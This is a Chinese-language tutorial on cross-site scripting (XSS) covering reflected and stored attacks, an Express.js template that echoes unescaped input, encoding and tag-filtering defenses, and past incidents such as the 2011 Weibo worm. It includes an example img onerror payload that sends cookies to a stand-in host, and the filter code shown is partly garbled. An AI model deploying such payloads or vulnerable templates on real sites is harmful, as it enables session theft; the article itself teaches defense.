Web安全之跨站脚本攻击(XSS)

简介:

什么是XSS

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS的攻击场景

  • 反射型这类攻击方式主要借助URL来实施。URL的构成分为协议、域名、端口、路径、查询几部分构成。如图所示:

  • XSS往往在“查询”部分发现漏洞构造攻击代码实施攻击,所谓“反射”可以理解为hacker并不会直接攻击客户,而是通过URL植入代码通过服务器获取并植入到用户页面完成攻击。攻击流程图如下:

  • 存储型存储型攻击方式和反射型最大的区别就是不通过URL来传播,而是利用站点本身合法的存储结构,比如评论。任何用户都可以通过站点提供的接口提交评论内容,这些评论内容都被存储到服务器的数据库。当用户访问这些评论的时候,服务器从数据库提取内容插入到页面反馈给用户。如果评论内容本身是具备攻击性内容,用户无一幸免。攻击流程图如下:

从上下两个流程图来看,反射型和存储型的攻击方式是本质不同的,前者需要借助各种社交渠道传播具备攻击的URL来实施,后者通过网站本身的存储漏洞,攻击成本低很多,而且伤害力更大。

XSS的工作原理

不管是反射型还是存储型,服务端都会将JavaScript当做文本处理,这些文本在服务端被整合进html文档中,在浏览器解析这些文本的过程也就是XSS被执行的时候。

从攻击到执行分为以下几步:

  1. 构造攻击代码
  2. 服务端提取并写入HTML
  3. 浏览器解析,XSS执行

构造攻击代码

hacker在发现站点对应的漏洞之后,基本可以确定是使用“反射型”或者“存储型”。对于反射型这个很简单了,执行类似代码:

 
  1. https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>" 

大家知道很多站点都提供搜索服务,这里的item字段就是给服务端提供关键词。如果hacker将关键词修改成可执行的JavaScript语句,如果服务端不加处理直接将类似代码回显到页面,XSS代码就会被执行。

这段代码的含义是告诉浏览器加载一张图片,图片的地址是空,根据加载机制空图片的加载会触发Element的onerror事件,这段代码的onerror事件是将本地cookie传到指定的网站。

很明显,hacker可以拿到“中招”用户的cookie,利用这个身份就可以拿到很多隐私信息和做一些不当的行为了。

对于存储型直接通过读取数据库将内容打到接口上就可以了。

服务端提取并写入HTML

我们以 Node.js 应用型框架express.js为例:

服务端代码(express.js)

 
  1. router.get('/'function (req, res, next) {   
  2.  
  3.     res.render('index', { 
  4.  
  5.         title: 'Express'
  6.  
  7.         search: req.query.item 
  8.  
  9.     }); 
  10.  
  11. });  

ejs模板

 
  1. <p> 
  2.  
  3. <%- search %> 
  4.  
  5. </p>  

这里列举了以反射型为主的服务端代码,通过获取URL的查询res.query.item,最后在模板中输出内容。对于存储型的区别是通过数据库拿到对应内容,模板部分一致。

浏览器解析,XSS执行

从这个图上来看浏览器解析主要做三件事:

  • 将文档解析成DOM Tree
  • 解析CSS成规则树
  • Javascript解析

在这个过程,XSS的代码从文本变的可执行。

XSS的防范措施

编码

对于反射型的代码,服务端代码要对查询进行编码,主要目的就是将查询文本化,避免在浏览器解析阶段转换成DOM和CSS规则及JavaScript解析。

常见的HTML实体编码如下:

除了编码和解码,还需要做额外的共奏来解决富文本内容的XSS攻击。

我们知道很多场景是允许用户输入富文本,而且也需要将富文本还原。这个时候就是hacker容易利用的点进行XSS攻击。

DOM Parse和过滤

从XSS工作的原理可知,在服务端进行编码,在模板解码这个过程对于富文本的内容来说,完全可以被浏览器解析到并执行,进而给了XSS执行的可乘之机。

为了杜绝悲剧发生,我们需要在浏览器解析之后进行解码,得到的文本进行DOM parse拿到DOM Tree,对所有的不安全因素进行过滤,最后将内容交给浏览器,达到避免XSS感染的效果。

具体原理如下:

  • 解码
 
  1. var unescape = function(html, options) { 
  2.  
  3.             options = merge(options, decode.options); 
  4.  
  5.             var strict = options.strict; 
  6.  
  7.             if (strict && regexInvalidEntity.test(html)) { 
  8.  
  9.                 parseError('malformed character reference'); 
  10.  
  11.             } 
  12.  
  13.             return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) { 
  14.  
  15.                 var codePoint; 
  16.  
  17.                 var semicolon; 
  18.  
  19.                 var decDigits; 
  20.  
  21.                 var hexDigits; 
  22.  
  23.                 var reference; 
  24.  
  25.                 var next
  26.  
  27.                 if ($1) { 
  28.  
  29.                     // Decode decimal escapes, e.g. ``. 
  30.  
  31.                     decDigits = $1; 
  32.  
  33.                     semicolon = $2; 
  34.  
  35.                     if (strict && !semicolon) { 
  36.  
  37.                         parseError('character reference was not terminated by a semicolon'); 
  38.  
  39.                     } 
  40.  
  41.                     codePoint = parseInt(decDigits, 10); 
  42.  
  43.                     return codePointToSymbol(codePoint, strict); 
  44.  
  45.                 } 
  46.  
  47.                 if ($3) { 
  48.  
  49.                     // Decode hexadecimal escapes, e.g. ``. 
  50.  
  51.                     hexDigits = $3; 
  52.  
  53.                     semicolon = $4; 
  54.  
  55.                     if (strict && !semicolon) { 
  56.  
  57.                         parseError('character reference was not terminated by a semicolon'); 
  58.  
  59.                     } 
  60.  
  61.                     codePoint = parseInt(hexDigits, 16); 
  62.  
  63.                     return codePointToSymbol(codePoint, strict); 
  64.  
  65.                 } 
  66.  
  67.                 if ($5) { 
  68.  
  69.                     // Decode named character references with trailing `;`, e.g. `©`. 
  70.  
  71.                     reference = $5; 
  72.  
  73.                     if (has(decodeMap, reference)) { 
  74.  
  75.                         return decodeMap[reference]; 
  76.  
  77.                     } else { 
  78.  
  79.                         // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands 
  80.  
  81.                         if (strict) { 
  82.  
  83.                             parseError( 
  84.  
  85.                                 'named character reference was not terminated by a semicolon' 
  86.  
  87.                             ); 
  88.  
  89.                         } 
  90.  
  91.                         return $0; 
  92.  
  93.                     } 
  94.  
  95.                 } 
  96.  
  97.                 // If we’re still here, it’s a legacy reference for sure. No need for an 
  98.  
  99.                 // extra `if` check
  100.  
  101.                 // Decode named character references without trailing `;`, e.g. `&amp` 
  102.  
  103.                 // This is only a parse error if it gets converted to `&`, or if it is 
  104.  
  105.                 // followed by `=` in an attribute context. 
  106.  
  107.                 reference = $6; 
  108.  
  109.                 next = $7; 
  110.  
  111.                 if (next && options.isAttributeValue) { 
  112.  
  113.                     if (strict && next == '=') { 
  114.  
  115.                         parseError('`&` did not start a character reference'); 
  116.  
  117.                     } 
  118.  
  119.                     return $0; 
  120.  
  121.                 } else { 
  122.  
  123.                     if (strict) { 
  124.  
  125.                         parseError( 
  126.  
  127.                             'named character reference was not terminated by a semicolon' 
  128.  
  129.                         ); 
  130.  
  131.                     } 
  132.  
  133.                     // Note: there is no need to check `has(decodeMapLegacy, reference)`. 
  134.  
  135.                     return decodeMapLegacy[reference] + (next || ''); 
  136.  
  137.                 } 
  138.  
  139.             }); 
  140.  
  141.         };  
  • DOM Parse和过滤
 
  1. var parse=function(str){   
  2.  
  3.     var results=''
  4.  
  5.     try { 
  6.  
  7.         HTMLParser(str,{ 
  8.  
  9.             start:function(tag,attrs,unary){ 
  10.  
  11.                 if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){ 
  12.  
  13.                     return 
  14.  
  15.                 } 
  16.  
  17.                 results+=""
  18.  
  19.             }, 
  20.  
  21.             end:function(tag){ 
  22.  
  23.                 results+=""+tag+">"
  24.  
  25.             }, 
  26.  
  27.             chars:function(text){ 
  28.  
  29.                 results+=text; 
  30.  
  31.             }, 
  32.  
  33.             comment:function(){ 
  34.  
  35.                 results+="'; 
  36.  
  37.             } 
  38.  
  39.         }) 
  40.  
  41.         return results; 
  42.  
  43.     } catch (e) { 
  44.  
  45.   
  46.  
  47.     } finally { 
  48.  
  49.   
  50.  
  51.     } 
  52.  
  53. }; 
  54.  
  55.   
  56.  
  57.     var dst=parse(str);  

在此展示了部分代码,其中DOM Parse可以采用第三方的Js库来完成。

XSS的危害

相信大家都对XSS了有一定的了解,下面列举几个XSS影响比较大的事件供参考,做到警钟长鸣。

  • 微博遭受攻击案例2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击。此事件给严重依赖社交网络的网友们敲响了警钟。在此之前,国内多家著名的SNS网站和大型博客网站都曾遭遇过类似的攻击事件,只不过没有形成如此大规模传播。虽然此次XSS蠕虫攻击事 件中,恶意黑客攻击者并没有在恶意脚本中植入挂马代码或其他窃取用户账号密码信息的脚本,但是这至少说明,病毒木马等黑色产业已经将眼光投放到这个尚存漏洞的领域。
  • 猫扑遭受攻击案例曾经在猫扑大杂烩中存在这样一个XSS漏洞,在用户发表回复的时候,程序对用户发表的内容做了严格的过滤,但是我不知道为什么,当用户编辑回复内容再次发表的时候,他却采用了另外一种不同的过滤方式,而这种过滤方式显然是不严密的,因此导致了XSS漏洞的出现。试想一下,像猫扑这样的大型社区,如果在一篇热帖中,利用XSS漏洞来使所有的浏览这篇帖子的用户都在不知不觉之中访问到了另外一个站点,如果这个站点同样是大型站点还好,但如果是中小型站点那就悲剧了,这将会引来多大的流量啊!更可怕的是,这些流量全部都是真实有效的!

如果本文有描述不准确或错误,欢迎大家指正……,不胜感激。


作者:佚名

来源:51CTO

相关文章
|
30天前
|
安全
网易web安全工程师进阶版课程
《Web安全工程师(进阶)》是由“ i春秋学院联合网易安全部”出品,资深讲师团队通过精炼的教学内容、丰富的实际场景及综合项目实战,帮助学员纵向提升技能,横向拓宽视野,牢靠掌握Web安全工程师核心知识,成为安全领域高精尖人才。 ## 学习地址
23 6
网易web安全工程师进阶版课程
|
1月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
20 0
|
1月前
|
JavaScript 前端开发 测试技术
使用Selenium执行JavaScript脚本:探索Web自动化的新领域
本文介绍了如何在Selenium中使用JavaScript解决自动化测试中的复杂问题。Selenium的`execute_script`函数用于同步执行JS,例如滑动页面、操作时间控件等。在滑动操作示例中,通过JS将页面滚动到底部,点击下一页并获取页面信息。对于只读时间控件,利用JS去除readonly属性并设置新日期。使用JS扩展了Selenium的功能,提高了测试效率和精准度,适用于各种自动化测试场景。
43 1
|
1天前
|
SQL 存储 前端开发
< 今日份知识点:web常见的攻击方式(网络攻击)有哪些?如何预防?如何防御呢 ? >
网络安全威胁日益严重,2017年的永恒之蓝勒索病毒事件揭示了网络攻击的破坏力。为了防御Web攻击,了解攻击类型至关重要。Web攻击包括XSS、CSRF和SQL注入等,其中XSS分为存储型、反射型和DOM型,允许攻击者通过注入恶意代码窃取用户信息。防止XSS攻击的方法包括输入验证、内容转义和避免浏览器执行恶意代码。CSRF攻击则伪装成用户执行操作,防范措施包括同源策略和CSRF Token验证。SQL注入则通过恶意SQL语句获取数据,预防手段包括输入验证和使用预编译语句。面对网络威胁,加强安全意识和实施防御策略是必要的。
|
8天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
12天前
|
云安全 数据采集 安全
阿里云安全产品,Web应用防火墙与云防火墙产品各自作用简介
阿里云提供两种关键安全产品:Web应用防火墙和云防火墙。Web应用防火墙专注网站安全,防护Web攻击、CC攻击和Bot防御,具备流量管理、大数据防御能力和简易部署。云防火墙是SaaS化的网络边界防护,管理南北向和东西向流量,提供访问控制、入侵防御和流量可视化。两者结合可实现全面的网络和应用安全。
阿里云安全产品,Web应用防火墙与云防火墙产品各自作用简介
|
13天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
30天前
|
安全 测试技术 网络安全
Web安全基础入门+信息收集篇
学习信息收集,针对域名信息,解析信息,网站信息,服务器信息等;学习端口扫描,针对端口进行服务探针,理解服务及端口对应关系;学习WEB扫描,主要针对敏感文件,安全漏洞,子域名信息等;学习信息收集方法及实现安全测试,能独立理解WEB架构框架,树立渗透测试开展思路!
18 0
Web安全基础入门+信息收集篇
|
1月前
|
安全 数据库 开发工具
Django实战:从零到一构建安全高效的Web应用
Django实战:从零到一构建安全高效的Web应用
48 0
|
1月前
|
安全 中间件 Go
Go语言Web服务性能优化与安全实践
【2月更文挑战第21天】本文将深入探讨Go语言在Web服务性能优化与安全实践方面的应用。通过介绍性能优化策略、并发编程模型以及安全加固措施,帮助读者理解并提升Go语言Web服务的性能表现与安全防护能力。